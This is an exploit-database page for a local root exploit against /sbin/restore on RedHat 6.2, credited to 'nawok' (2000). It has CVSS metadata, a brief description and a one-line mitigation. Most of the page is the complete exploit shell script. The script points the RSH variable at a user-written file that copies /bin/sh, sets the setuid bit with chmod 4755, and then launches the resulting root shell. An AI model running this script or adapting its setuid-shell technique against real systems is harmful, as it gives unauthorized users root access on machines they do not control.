/sbin/restore exploit for rh6.2

vendor:

Enterprise Linux

by:

nawok

7,2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Enterprise Linux

Affected Version From: RedHat 6.2

Affected Version To: RedHat 6.2

Patch Exists: NO

Related CWE: N/A

CPE: o:redhat:enterprise_linux:6.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: RedHat 6.2

2000

/sbin/restore exploit for rh6.2

This exploit is used to gain root access on RedHat 6.2 systems with /sbin/restore not “fucked up”. The exploit creates a shell script in the user’s home directory, which is then executed by the restore command. The script creates a copy of the /bin/sh binary in the user’s home directory and sets the setuid bit on it. This allows the user to gain root access.

Mitigation:

Restrict access to the restore command and ensure that it is not setuid.

Source

Exploit-DB raw data:

#!/bin/sh
#
# /sbin/restore exploit for rh6.2
#
# I did not find this weakness my self, all i did was
# writing this script (and some more) to make it 
# automatic and easy to use.
#
# This exploit should work on all redhat 6.2 systems
# with /sbin/restore not "fucked up". May work on other
# distros too, but only tested successfully on rh6.2.
#
# Make sure that the $USER variable is set! If you aren't
# sure, do a SET USER=<your-login-name> before you start
# the exploit!
#
# Please do NOT remove this header from the file.
#

echo "###########################################"
echo "#     /sbin/restore exploit for rh6.2     #"
echo "#          this file by nawok '00         #"
echo "###########################################"
echo " "
echo "==> EXPLOIT STARTED, Wait..."
echo "#!/bin/sh" >> /home/$USER/execfile
echo "cp /bin/sh /home/$USER/sh" >> /home/$USER/execfile
echo "chmod 4755 /home/$USER/sh" >> /home/$USER/execfile
chmod 755 /home/$USER/execfile
export TAPE=restorer:restorer
export RSH=/home/$USER/execfile
touch /tmp/1
/sbin/restore -t /tmp/1
rm -f /home/$USER/execfile
echo "==> DONE! If everything went OK we will now enter rootshell..."
echo "==> To check if its rooted, type 'whoami', or 'id'" 
echo "==> B-Bye, you are on your own now."
/home/$USER/sh


# milw0rm.com [2000-11-16]